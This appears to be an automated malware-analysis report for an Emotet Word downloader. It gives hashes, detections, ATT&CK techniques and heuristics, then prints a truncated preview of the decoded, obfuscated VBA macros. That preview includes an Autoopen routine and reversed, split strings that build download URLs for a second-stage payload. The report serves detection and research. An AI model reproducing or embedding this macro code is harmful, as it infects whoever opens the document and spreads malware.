Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 b6ddfca432ccb711…

MALICIOUS

Office (OLE)

168.0 KB Created: 2018-05-10 11:33:00 Authoring application: Microsoft Office Word First seen: 2018-06-30
MD5: 5dd6b089d5dd71aea8fddfeebc0e3c4c SHA-1: 5d6631277b3b9e55d3825e23aa0d821a05af4357 SHA-256: b6ddfca432ccb7110a24f74d3eb3977aa49d305671f9cccf89f75e93481be89f
202 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample is identified as malicious by ClamAV with the signature 'Doc.Downloader.Emotet-7427944-0', indicating a known downloader variant. Critical heuristics indicate the presence of a Shell() call within VBA macros and an AutoOpen macro, which are commonly used to initiate malicious actions upon opening the document. The VBA script, though heavily obfuscated, likely facilitates the execution of a second-stage payload, consistent with Emotet's typical behavior.

Heuristics 6

  • ClamAV: Doc.Downloader.Emotet-7427944-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-7427944-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 178837 bytes
SHA-256: 77f1714a8caa567a873d03adf461736e816ff684acef05a0d794d3c406bd204c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "oXzkWPUkUqTaqT"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub UnEkMW(KpobnM)
For QVnRlR = 48104 To lFdCZ
         woivdS = POcRpu + CDate(36901) + alvJfL + 80455 * fhmXR / Sin(5285) + HKwEMB / Sgn(12425) * (61944 + CDate(19072))
Next
Set UAHLAv = FOKTh
End Sub
Sub tjIWCN(vIMPUG)
For pGmUFm = 30364 To KiHfl
         RDsia = DYDiD + CDate(35853) + wMorq + 86680 * hzcqN / Sin(90791) + jWZOXb / Sgn(53062) * (57880 + CDate(9731))
Next
Set ltopR = HQnSR
For WrQmih = 34883 To CQfpTB
         QjrrUH = GwENP + CDate(92754) + ZacLl + 368 * wkstLd / Sin(35365) + OzVPY / Sgn(83641) * (69033 + CDate(92349))
Next
Set wqClTi = SVGcp
For iiBwR = 92347 To zIdBli
         sAXcp = AOuzwi + CDate(4271) + bqWqi + 22502 * nNcZn / Sin(95976) + oMBzld / Sgn(54179) * (33840 + CDate(96781))
Next
Set mLCPnE = ntZWSH
End Sub
Sub HWkFm(DCjXai)
For wsYwKr = 85940 To TJFzJ
         luYHVF = sPtWiD + CDate(51218) + ifpFHD + 90168 * dMaOH / Sin(76770) + iFdSR / Sgn(15396) * (17076 + CDate(30134))
Next
Set cGEdf = foSTp
For PuCZrZ = 89222 To vrjECO
         BlJcV = lcBwR + CDate(79087) + hmwnw + 66558 * Lbsai / Sin(27853) + JlXzb / Sgn(33125) * (16442 + CDate(56618))
Next
Set IrUOi = AbZkq
End Sub
Sub Autoopen()
On Error Resume Next
For IvvGT = 99261 To asitG
         crdzqX = DinviT + CDate(69750) + aRAwYG + 138 * btHRDC / Sin(20245) + wNTCaW / Sgn(53272) * (68254 + CDate(23455))
Next
Set KaHAbz = LAbhu
FBBiEXbfkAPkPv (ocBCFi + oAPtKpKwl + sAYNz)
For zhUDp = 33419 To ivZibR
         CsCis = fiaYU + CDate(42138) + FBJBu + 5704 * Ahrzl / Sin(31514) + EtCSb / Sgn(76766) * (51700 + CDate(7765))
Next
Set wpUtl = HvjTQ
End Sub
Sub clYnYH(UBFzc)
For alYGsh = 50141 To BLMaJ
         favNS = bcIdiD + CDate(63117) + jztss + 96596 * jjpql / Sin(81442) + aaLNOi / Sgn(54526) * (89689 + CDate(10199))
Next
Set icTwdu = pBGSCS
For hLOvq = 12816 To jJwBh
         Rowqo = BNQiLG + CDate(78431) + AkjMX + 15261 * fDTjDw / Sin(38064) + SWzvcK / Sgn(2760) * (4535 + CDate(30299))
Next
Set JQGRjC = CsWwak
For ZZlkfK = 71012 To iPzHOK
         DziTi = rlOXR + CDate(82807) + GwBsm + 37022 * CYRXF / Sin(86459) + iqUZn / Sgn(59608) * (80470 + CDate(78180))
Next
Set NGCPi = WNOTjp
End Sub
Sub NEVvpJ(iKOpAJ)
For uzdMLR = 48056 To mjDnOC
         JmJYw = PEspjJ + CDate(80114) + rNOZs + 54568 * lHXXM / Sin(49519) + lrBvc / Sgn(58461) * (3825 + CDate(54373))
Next
Set bMSftk = fHjku
End Sub

Attribute VB_Name = "pOVZoXimBk"
Sub wSBnl(LBPhmM)
For zVAlrP = 55659 To XOCnZC
         iztabP = bjiuaY + CDate(69091) + pCBucT + 44742 * ulHOYE / Sin(98486) + LdVWS / Sgn(76785) * (23133 + CDate(71184))
Next
Set OuRCz = EEsZzm
End Sub
Function oAPtKpKwl()
On Error Resume Next
For aWGDzp = 38156 To KXjhi
         CMNBqQ = OYFrww + CDate(5613) + jizOj + 7279 * QOoWRL / Sin(7903) + hUOsC / Sgn(84434) * (60305 + CDate(45719))
Next
Set VvLwB = CtQri
For qNwACq = 85362 To uLBii
         tfIjN = kYwwF + CDate(87419) + WTAoZ + 2010 * SLsiF / Sin(11894) + hrUwib / Sgn(40908) * (55582 + CDate(96140))
Next
Set MLlHRP = vJiWzt
VVzkapI = bjPCY("7V13+'e.q'+'3'+'D( '+'+ '+'BS'+'NMBN'+' + '+'q3DwK'+'hq'+'3D + '+'cilbu'+'p:vneM'+'B'+'N ='+' '+'C'+'DSM'+'BN;)q'+'3D@q3D(ti'+'lpS.q3D/skjj/'+'hc'+'.ocubm'+'a//'+':ptth@/C'+'X0o/ku.'+'o'+'c.in'+'imh'+'szS", 31071 + 3 - 31071, 31071 + 198 - 31071)
For bdXoi = 74919 To aHSChd
         aRmtVU = OPAAws + CDate(74927) + XYkzzX + 3400 * juLFl / Sin(6876) + EklBU / Sgn(84189) * (92666 + CDate(56202))
Next
Set ZuMNXo = undkuS
For rLzJW = 10990 To iOziK
         cnbJLw = pWQVJu + CDate(34794) + TlzzX + 68199 * BdGNa / Sin(85207) + fwAhw / Sgn(64087) * (56976 + CDate(59505))
Next
Set JaHZV = iAbnNP
cXDOjljjTsi = bjPCY("hMF6'+'ptth@'+'/z2UtN0X'+'/'+'moc.essidab/'+'/:ptth'+'@/7mggB'+'k'+'/uh.e'+'keyn'+'rok-n'+'o'+'talab'+'/'+'/:ptth '+' q3D = XC'+'DAMBN;'+')33'+'1'+'2'+'
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.